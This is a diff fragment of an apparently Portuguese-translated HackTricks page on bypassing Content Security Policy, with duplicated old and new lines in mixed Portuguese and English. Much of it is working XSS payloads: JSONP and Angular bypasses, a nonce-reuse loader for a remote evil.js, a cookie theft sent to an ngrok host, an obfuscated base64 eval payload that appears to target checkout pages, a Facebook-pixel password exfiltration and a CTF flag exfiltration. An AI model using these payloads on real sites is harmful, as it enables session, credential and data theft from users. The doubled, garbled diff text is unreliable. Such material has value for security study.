- **connect-src**: Restringe URLs que podem ser carregadas usando interfaces como fetch, WebSocket, XMLHttpRequest.
- **frame-src**: Restringe URLs para frames.
- **frame-ancestors**: Especifica quais fontes podem incorporar a página atual, aplicável a elementos como `<frame>`, `<iframe>`, `<object>`, `<embed>`, e `<applet>`.
- **img-src**: Define fontes permitidas para imagens.
- **font-src**: Especifica fontes válidas para fonts carregadas usando `@font-face`.
- **manifest-src**: Define fontes permitidas para arquivos de manifest de aplicação.
- **manifest-src**: Define fontes permitidas de arquivos de manifest de aplicações.
- **media-src**: Define fontes permitidas para carregar objetos de mídia.
- **object-src**: Define fontes permitidas para elementos `<object>`, `<embed>`, e `<applet>`.
- **base-uri**: Especifica URLs permitidos para carregamento usando elementos `<base>`.
- **base-uri**: Especifica URLs permitidas para carregamento usando elementos `<base>`.
- **form-action**: Lista endpoints válidos para submissões de formulários.
- **plugin-types**: Restringe tipos MIME que a página pode invocar.
- **upgrade-insecure-requests**: Instrui os browsers a reescrever URLs HTTP para HTTPS.
- **sandbox**: Aplica restrições similares ao atributo sandbox de um `<iframe>`.
- **report-to**: Especifica um grupo para o qual um relatório será enviado caso a política seja violada.
- **plugin-types**: Restringe os tipos mime que uma página pode invocar.
- **upgrade-insecure-requests**: Instrui browsers a reescrever URLs HTTP para HTTPS.
- **sandbox**: Aplica restrições semelhantes ao atributo sandbox de um `<iframe>`.
- **report-to**: Especifica um grupo para o qual um relatório será enviado se a política for violada.
- **worker-src**: Especifica fontes válidas para scripts Worker, SharedWorker ou ServiceWorker.
- **prefetch-src**: Especifica fontes válidas para recursos que serão buscados ou pré-carregados.
- **prefetch-src**: Especifica fontes válidas para recursos que serão fetched ou prefetched.
- **navigate-to**: Restringe as URLs para as quais um documento pode navegar por qualquer meio (a, form, window.location, window.open, etc.)
### Origens
### Fontes
- `*`: Permite todas as URLs exceto aquelas com os esquemas `data:`, `blob:`, `filesystem:`.
- `'self'`: Permite carregamento do mesmo domínio.
- `'data'`: Permite que recursos sejam carregados via esquema data (ex.: imagens codificadas em Base64).
- `*`: Permite todas as URLs exceto aquelas com esquemas `data:`, `blob:`, `filesystem:`.
- `'self'`: Permite carregamento a partir do mesmo domínio.
- `'data'`: Permite recursos serem carregados via o esquema data (ex.: imagens codificadas em Base64).
- `'none'`: Bloqueia carregamento de qualquer fonte.
- `'unsafe-eval'`: Permite o uso de `eval()` e métodos similares; não recomendado por razões de segurança.
- `'unsafe-hashes'`: Habilita manipuladores de eventos inline específicos.
- `'unsafe-inline'`: Permite o uso de recursos inline como `<script>` ou `<style>` inline; não recomendado por razões de segurança.
- `'nonce'`: Lista branca para scripts inline específicos usando um nonce criptográfico (número usado uma vez).
- `'unsafe-eval'`: Permite o uso de `eval()` e métodos similares, não recomendado por razões de segurança.
- `'unsafe-hashes'`: Habilita manipuladores de evento inline específicos.
- `'unsafe-inline'`: Permite o uso de recursos inline como `<script>` ou `<style>`, não recomendado por razões de segurança.
- `'nonce'`: Uma whitelist para scripts inline específicos usando um nonce criptográfico (número usado uma vez).
- If you have JS limited execution it's possible to get a used nonce inside the page with `doc.defaultView.top.document.querySelector("[nonce]")` and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:
<details>
@ -88,18 +88,18 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
</details>
- `'sha256-<hash>'`: Permite scripts com um hash sha256 específico.
- `'strict-dynamic'`: Permite carregar scripts de qualquer origem se tiver sido autorizado por um nonce ou hash.
- `'sha256-<hash>'`: Whitelists scripts com um hash sha256 específico.
- `'strict-dynamic'`: Permite carregar scripts de qualquer origem se eles tiverem sido whitelisted por um nonce ou hash.
- `'host'`: Especifica um host específico, como `example.com`.
- `https:`: Restringe URLs àquelas que usam HTTPS.
- `blob:`: Permite que recursos sejam carregados a partir de Blob URLs (por exemplo, Blob URLs criadas via JavaScript).
- `filesystem:`: Permite que recursos sejam carregados a partir do filesystem.
- `'report-sample'`: Inclui um exemplo do código violador no relatório de violação (útil para depuração).
- `'strict-origin'`: Semelhante a 'self', mas garante que o nível de segurança do protocolo das fontes corresponda ao do documento (apenas origens seguras podem carregar recursos de origens seguras).
- `'strict-origin-when-cross-origin'`: Envia URLs completas quando faz requisições same-origin, mas envia apenas a origem quando a requisição é cross-origin.
- `'unsafe-allow-redirects'`: Permite que recursos sejam carregados que irão redirecionar imediatamente para outro recurso. Não recomendado pois enfraquece a segurança.
- `blob:`: Permite que recursos sejam carregados de Blob URLs (por exemplo, Blob URLs criadas via JavaScript).
- `filesystem:`: Permite que recursos sejam carregados do filesystem.
- `'report-sample'`: Inclui uma amostra do código que violou no relatório de violação (útil para depuração).
- `'strict-origin'`: Semelhante a 'self' mas garante que o nível de segurança do protocolo das fontes corresponda ao do documento (apenas origens seguras podem carregar recursos de origens seguras).
- `'strict-origin-when-cross-origin'`: Envia URLs completas ao fazer same-origin requests, mas envia apenas a origem quando a request é cross-origin.
- `'unsafe-allow-redirects'`: Permite que recursos sejam carregados que irão imediatamente redirecionar para outro recurso. Não recomendado pois enfraquece a segurança.
## Regras CSP inseguras
## Unsafe CSP Rules
### 'unsafe-inline'
```yaml
@ -117,7 +117,7 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
### 'unsafe-eval'
> [!CAUTION]
> Isto não está funcionando, para mais informações [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
> Isto não está funcionando; para mais informações [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
@ -127,9 +127,9 @@ Payload funcional:
```
### strict-dynamic
Se de alguma forma você conseguir fazer com que um **código JS permitido crie uma nova script tag** no DOM com seu código JS, porque um script permitido está criando-a, a **nova script tag poderá ser executada**.
Se, de alguma forma, você conseguir fazer com que um **código JS permitido crie uma nova script tag** no DOM com seu código JS — porque um script permitido está criando-a — a **nova script tag será permitida e executada**.
### Wildcard (\*)
### Wildcard (*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
@ -150,28 +150,28 @@ Payloads que funcionam:
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
```
### File Upload + 'self'
### Envio de Arquivos + 'self'
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Se você conseguir fazer upload de um arquivo JS, pode contornar esse CSP:
Se você conseguir fazer upload de um arquivo JS, você pode contornar este CSP:
Payload funcional:
```html
"/>'><script src="/uploads/picture.png.js"></script>
```
No entanto, é altamente provável que o servidor esteja **validando o arquivo enviado** e só permita que você **envie determinados tipos de arquivos**.
However, it's highly probable that the server is **validating the uploaded file** and will only allow you to **upload determined type of files**.
Além disso, mesmo que você pudesse enviar um **JS code inside** dentro de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não seria suficiente, porque alguns servidores como o apache server **select MIME type of the file based on the extension** e navegadores como o Chrome irão **reject to execute Javascript** code dentro de algo que deveria ser uma imagem. "Hopefully", existem falhas. Por exemplo, num CTF aprendi que **Apache doesn't know** a extensão _**.wave**_, portanto ele não a serve com um **MIME type like audio/***.
Moreover, even if you could upload a **JS code inside** a file using an extension accepted by the server (like: _script.png_) this won't be enough because some servers like apache server **select MIME type of the file based on the extension** and browsers like Chrome will **reject to execute Javascript** code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that **Apache não reconhece** the _**.wave**_ extension, therefore it doesn't serve it with a **MIME type like audio/***.
A partir daqui, se você encontrar um XSS e um upload de arquivo, e conseguir identificar uma **misinterpreted extension**, pode tentar enviar um arquivo com essa extensão contendo o conteúdo do script. Ou, se o servidor verifica o formato correto do arquivo enviado, crie um polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
From here, if you find a XSS and a file upload, and you manage to find a **misinterpreted extension**, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
### Form-action
Se não for possível injetar JS, você ainda pode tentar exfiltrar, por exemplo, credenciais **injecting a form action** (e talvez esperando que password managers preencham automaticamente as senhas). Você pode encontrar um [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Além disso, note que `default-src` não cobre form actions.
If not possible to inject JS, you could still try to exfiltrate for example credentials **injecting a form action** (and maybe expecting password managers to auto-fill passwords). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Also, notice that `default-src` does not cover form actions.
> [!WARNING]
> Para alguns dos seguintes payload **`unsafe-eval` nem sequer é necessário**.
> For some of the following payload **`unsafe-eval` is not even needed**.
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
@ -199,7 +199,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
#### Payloads usando Angular + uma biblioteca com funções que retornam o objeto `window` ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!TIP]
> O post mostra que você pode **carregar** todas as **bibliotecas** de `cdn.cloudflare.com` (ou qualquer outro repositório de bibliotecas JS permitido), executar todas as funções adicionadas de cada biblioteca e verificar **quais funções de quais bibliotecas retornam o objeto `window`**.
> O post mostra que você poderia **carregar** todas as **bibliotecas** de `cdn.cloudflare.com` (ou qualquer outro repositório permitido de bibliotecas JS), executar todas as funções adicionadas de cada biblioteca, e verificar **quais funções de quais bibliotecas retornam o objeto `window`**.
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -229,9 +229,9 @@ Angular XSS a partir de um nome de classe:
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### Abusando do google recaptcha JS code
#### Abusing google recaptcha JS code
De acordo com [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) você pode abusar de [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de uma CSP para executar código JS arbitrário contornando a CSP:
De acordo com [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) você pode abusar de [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de uma CSP para executar código JS arbitrário contornando o CSP:
```html
<div
ng-controller="CarouselController as c"
@ -242,7 +242,7 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
Mais [**payloads deste writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
Mais [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
@ -259,21 +259,21 @@ b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
```
#### Abusando do www.google.com para open redirect
#### Abusando de www.google.com para open redirect
A seguinte URL redireciona para example.com (de [aqui](https://www.landh.tech/blog/20240304-google-hack-50000/)):
A seguinte URL redireciona para example.com (de [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
Abusando de \*.google.com/script.google.com
Abusando \*.google.com/script.google.com
É possível abusar do Google Apps Script para receber informações em uma página dentro de script.google.com. Como é [feito neste relatório](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
É possível abusar do Google Apps Script para receber informações em uma página dentro de script.google.com. Como foi [feito neste relatório](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
### Endpoints de terceiros + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Cenários como este, em que `script-src` está definido como `self` e um domínio específico está whitelisted, podem ser contornados usando JSONP. Endpoints JSONP permitem callbacks inseguros que permitem a um atacante realizar XSS. Payload funcional:
Cenários como este em que `script-src` está definido como `self` e um domínio específico que está whitelisted podem ser contornados usando JSONP. JSONP endpoints permitem métodos de callback inseguros que permitem a um atacante realizar XSS, working payload:
```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -287,15 +287,15 @@ https://www.youtube.com/oembed?callback=alert;
```html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contém endpoints JSONP prontos para uso para bypass de CSP em diferentes websites.**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contém endpoints JSONP prontos para uso para CSP bypass de diferentes websites.**
A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Open Redirect** porque, se o endpoint inicial é confiável, os redirecionamentos também são confiáveis.
A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Open Redirect**, porque se o endpoint inicial for confiável, os redirecionamentos serão confiáveis.
### Abusos de Terceiros
### Abusos de terceiros
Como descrito no [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem estar permitidos em algum lugar no CSP e que podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:
Como descrito no [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP e que podem ser abusados para exfiltrate data ou execute JavaScript code. Alguns desses terceiros são:
| Entidade | Domínio Permitido | Capacidades |
| Entidade | Domínio permitido | Capacidades |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
@ -306,7 +306,7 @@ Como descrito no [following post](https://sensepost.com/blog/2023/dress-code-the
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Se você encontrar qualquer um dos domínios permitidos no CSP do seu alvo, há grandes chances de que você consiga contornar o CSP registrando-se no serviço de terceiros e, então, exfiltrar dados para esse serviço ou executar código.
Se você encontrar qualquer um dos domínios permitidos no CSP do seu alvo, há boas chances de que você possa bypass the CSP registrando-se no serviço de terceiros e, assim, exfiltrate data para esse serviço ou execute code.
Por exemplo, se você encontrar o seguinte CSP:
```
@ -316,41 +316,41 @@ ou
```
Content-Security-Policy​: connect-src www.facebook.com;​
```
Você deve ser capaz de exfiltrar dados, similarly as it has always be done with [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Neste caso, siga estes passos gerais:
You should be able to exfiltrate data, similarly as it has always be done with [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). In this case, you follow these general steps:
1. Crie uma conta de Facebook Developer aqui.
1. Crie uma conta no Facebook Developer aqui.
2. Crie um novo app "Facebook Login" e selecione "Website".
3. Vá em "Settings -> Basic" e obtenha seu "App ID"
4. No site alvo do qual você quer exfiltrar dados, você pode exfiltrar dados usando diretamente o gadget do Facebook SDK "fbq" através de um "customEvent" e o data payload.
5. Vá ao "Event Manager" do seu App e selecione a aplicação que você criou (note que o event manager pode ser encontrado em uma URL similar a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. Selecione a aba "Test Events" para ver os eventos sendo enviados pelo "your" web site.
3. Vá para "Settings -> Basic" e obtenha seu "App ID"
4. No site alvo do qual você quer exfiltrate data, é possível fazê-lo usando diretamente o gadget do Facebook SDK "fbq" através de um "customEvent" e o data payload.
5. Vá ao "Event Manager" do seu App e selecione a aplicação que você criou (observe que o event manager pode ser encontrado numa URL semelhante a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. Selecione a aba "Test Events" para ver os eventos sendo enviados pelo seu web site.
Então, no lado da vítima, execute o código a seguir para inicializar o Facebook tracking pixel apontando para o app-id da conta Facebook Developer do atacante e emitir um custom event assim:
Then, on the victim side, you execute the following code to initialize the Facebook tracking pixel to point to the attacker's Facebook developer account app-id and issue a custom event like this:
```JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});
```
Quanto aos outros sete domínios de terceiros especificados na tabela anterior, existem muitas outras formas de abusá-los. Consulte o [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) mencionado anteriormente para explicações adicionais sobre outros abusos a terceiros.
Quanto aos outros sete domínios de terceiros especificados na tabela anterior, existem muitas outras maneiras de abusar deles. Consulte o [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) mencionado anteriormente para explicações adicionais sobre outros abusos de terceiros.
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
Além da redireção mencionada anteriormente para bypass de restrições de path, existe outra técnica chamada Relative Path Overwrite (RPO) que pode ser usada em alguns servidores.
Além do redirecionamento mencionado anteriormente para bypassar restrições de caminho, existe outra técnica chamada Relative Path Overwrite (RPO) que pode ser usada em alguns servidores.
Por exemplo, se o CSP permite o path `https://example.com/scripts/react/`, ele pode ser bypassed da seguinte forma:
Por exemplo, se o CSP permite o caminho `https://example.com/scripts/react/`, ele pode ser bypassado da seguinte forma:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
O navegador acabará carregando `https://example.com/scripts/angular/angular.js`.
Isso funciona porque, para o navegador, você está carregando um arquivo chamado `..%2fangular%2fangular.js` localizado em `https://example.com/scripts/react/`, o que está em conformidade com o CSP.
Isso funciona porque, para o navegador, você está carregando um arquivo chamado `..%2fangular%2fangular.js` localizado em `https://example.com/scripts/react/`, o que é compatível com a CSP.
Então, ele irá decodificá-lo, requisitando efetivamente `https://example.com/scripts/react/../angular/angular.js`, o que é equivalente a `https://example.com/scripts/angular/angular.js`.
Então, ele vai decodificá-lo, efetivamente requisitando `https://example.com/scripts/react/../angular/angular.js`, que é equivalente a `https://example.com/scripts/angular/angular.js`.
Ao **explorar essa inconsistência na interpretação de URLs entre o navegador e o servidor, as regras de caminho podem ser contornadas**.
Ao **explorar essa inconsistência na interpretação de URLs entre o navegador e o servidor, as regras de path podem ser contornadas**.
A solução é não tratar `%2f` como `/` no lado do servidor, garantindo uma interpretação consistente entre o navegador e o servidor para evitar esse problema.
A solução é não tratar `%2f` como `/` no lado do servidor, garantindo interpretação consistente entre o navegador e o servidor para evitar esse problema.
Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
@ -361,33 +361,33 @@ Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
{{#endref}}
### Ausência de **base-uri**
### missing **base-uri**
Se a diretiva **base-uri** estiver ausente, você pode abusar dela para realizar um [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
Se a diretiva **base-uri** estiver ausente, você pode abusar disso para realizar uma [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
Além disso, se a **página estiver carregando um script usando um caminho relativo** (como `<script src="/js/app.js">`) usando um **Nonce**, você pode abusar da **base** **tag** para fazê-la **load** o script do **your own server achieving a XSS.**\
Se a página vulnerável estiver carregada com **httpS**, use uma httpS url no base.
Além disso, se a **página estiver carregando um script usando um caminho relativo** (como `<script src="/js/app.js">`) e usando um **Nonce**, você pode abusar da **base** **tag** para fazê-la **carregar** o script do **seu próprio servidor**, conseguindo um XSS.\
Se a página vulnerável for carregada com **httpS**, use uma URL httpS na base.
```html
<base href="https://www.attacker.com/" />
```
### Eventos do AngularJS
### AngularJS events
Uma política específica conhecida como Content Security Policy (CSP) pode restringir eventos JavaScript. No entanto, o AngularJS introduz eventos customizados como alternativa. Dentro de um evento, o AngularJS fornece um objeto único `$event`, que referencia o objeto de evento nativo do browser. Esse objeto `$event` pode ser explorado para contornar a CSP. Notavelmente, no Chrome, o objeto `$event/event` possui um atributo `path`, que contém um array de objetos envolvidos na cadeia de execução do evento, com o objeto `window` sempre posicionado no final. Essa estrutura é fundamental para táticas de escape do sandbox.
Uma política específica conhecida como Content Security Policy (CSP) pode restringir eventos JavaScript. No entanto, o AngularJS introduz eventos personalizados como alternativa. Dentro de um evento, o AngularJS fornece um objeto único `$event`, que referencia o objeto de evento nativo do browser. Esse objeto `$event` pode ser explorado para contornar a CSP. Notavelmente, no Chrome, o objeto `$event/event` possui um atributo `path`, contendo um array de objetos envolvidos na cadeia de execução do evento, com o objeto `window` sempre posicionado no final. Essa estrutura é crucial para táticas de escape do sandbox.
Ao direcionar esse array para o filtro `orderBy`, é possível iterar sobre ele, aproveitando o elemento terminal (o objeto `window`) para acionar uma função global como `alert()`. O snippet de código mostrado abaixo elucida esse processo:
Ao direcionar esse array para o filtro `orderBy`, é possível iterar sobre ele, aproveitando o elemento terminal (o objeto `window`) para acionar uma função global como `alert()`. O trecho de código demonstrado abaixo elucida esse processo:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Este trecho destaca o uso da diretiva `ng-focus` para acionar o evento, empregando `$event.path|orderBy` para manipular o array `path`, e aproveitando o objeto `window` para executar a função `alert()`, revelando assim `document.cookie`.
Este trecho destaca o uso da diretiva `ng-focus` para disparar o evento, empregando `$event.path|orderBy` para manipular o array `path`, e aproveitando o objeto `window` para executar a função `alert()`, revelando assim `document.cookie`.
**Encontre outros bypasses do Angular em** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
**Encontre outros Angular bypasses em** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS and whitelisted domain
### AngularJS e whitelisted domain
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Uma política CSP que adiciona domínios à whitelist para carregamento de scripts em uma aplicação Angular JS pode ser contornada pela invocação de funções de callback e por certas classes vulneráveis. Mais informações sobre essa técnica podem ser encontradas em um guia detalhado disponível neste [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Uma política CSP que whitelists domínios para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de callback functions e de certas classes vulneráveis. Mais informações sobre esta técnica podem ser encontradas em um guia detalhado disponível neste [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Working payloads:
```html
@ -397,13 +397,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
Outros endpoints de execução arbitrária JSONP podem ser encontrados em [**aqui**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (alguns deles foram deletados ou corrigidos)
Outros endpoints de execução arbitrária JSONP podem ser encontrados em [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (alguns deles foram excluídos ou corrigidos)
### Bypass via Redirecionamento
O que acontece quando o CSP encontra um redirecionamento do lado do servidor? Se o redirecionamento levar a uma origem diferente que não é permitida, ainda assim falhará.
O que acontece quando o CSP encontra um redirecionamento do lado do servidor? Se o redirecionamento levar para uma origem diferente que não é permitida, ele ainda falhará.
No entanto, de acordo com a descrição em [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se o redirecionamento levar a um caminho diferente, ele pode contornar as restrições originais.
No entanto, de acordo com a descrição em [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se o redirecionamento levar a um caminho diferente, ele pode bypassar as restrições originais.
Aqui está um exemplo:
```html
@ -423,39 +423,38 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</body>
</html>
```
Se o CSP estiver definido como `https://www.google.com/a/b/c/d`, uma vez que o caminho é considerado, ambos os scripts `/test` e `/a/test` serão bloqueados pelo CSP.
Se a CSP estiver definida como `https://www.google.com/a/b/c/d`, visto que o caminho é considerado, ambos os scripts `/test` e `/a/test` serão bloqueados pela CSP.
No entanto, o endpoint final `http://localhost:5555/301` será **redirecionado no lado do servidor para `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Como é um redirecionamento, o **caminho não é considerado**, e o **script pode ser carregado**, assim contornando a restrição de caminho.
No entanto, o final `http://localhost:5555/301` será **redirecionado no lado do servidor para `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Como é um redirecionamento, o **caminho não é considerado**, e o **script pode ser carregado**, assim contornando a restrição de caminho.
Com esse redirecionamento, mesmo que o caminho esteja especificado completamente, ele ainda será contornado.
Com este redirecionamento, mesmo que o caminho seja especificado completamente, ele ainda será contornado.
Portanto, a melhor solução é garantir que o site não tenha vulnerabilidades de open redirect e que não existam domínios que possam ser explorados nas regras CSP.
Portanto, a melhor solução é garantir que o site não possua vulnerabilidades de open redirect e que não existam domínios que possam ser explorados nas regras de CSP.
### Contornar CSP com dangling markup
### Bypass CSP with dangling markup
Leia [aqui](../dangling-markup-html-scriptless-injection/index.html).
Read [how here](../dangling-markup-html-scriptless-injection/index.html).
### 'unsafe-inline'; img-src \*; via XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` significa que você pode executar qualquer script dentro do código (XSS pode executar código) e `img-src *` significa que você pode usar na webpage qualquer imagem de qualquer recurso.
`'unsafe-inline'` significa que você pode executar qualquer script dentro do código (XSS pode executar código) e `img-src *` significa que você pode usar na página qualquer imagem de qualquer recurso.
Você pode contornar este CSP exfiltrando os dados via imagens (neste caso o XSS abusa de um CSRF onde uma página acessível pelo bot contém um SQLi, e extrai a flag via uma imagem):
Você pode contornar esse CSP exfiltrando os dados via imagens (neste caso o XSS abusa de um CSRF onde uma página acessível pelo bot contém um SQLi, e extrai a flag via uma imagem):
```javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
```
Fonte: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Você também pode abusar desta configuração para **carregar código javascript inserido dentro de uma imagem**. Por exemplo, se a página permite carregar imagens do Twitter. Você poderia **criar** uma **imagem especial**, **fazer upload** dela no Twitter e abusar do "**unsafe-inline**" para **executar** um código JS (como um XSS normal) que irá **carregar** a **imagem**, **extrair** o **JS** dela e **executá-lo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
Você também pode abusar dessa configuração para **carregar código javascript inserido dentro de uma imagem**. Se, por exemplo, a página permite carregar imagens do Twitter. Você poderia **criar** uma **imagem especial**, **fazer upload** dela para o Twitter e abusar do "**unsafe-inline**" para **executar** um código JS (como um XSS regular) que irá **carregar** a **imagem**, **extrair** o **JS** dela e **executar** **isso**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Com Service Workers
A função `importScripts` dos Service Workers não é limitada pelo CSP:
A função dos Service workers **`importScripts`** não é limitada pelo CSP:
{{#ref}}
../xss-cross-site-scripting/abusing-service-workers.md
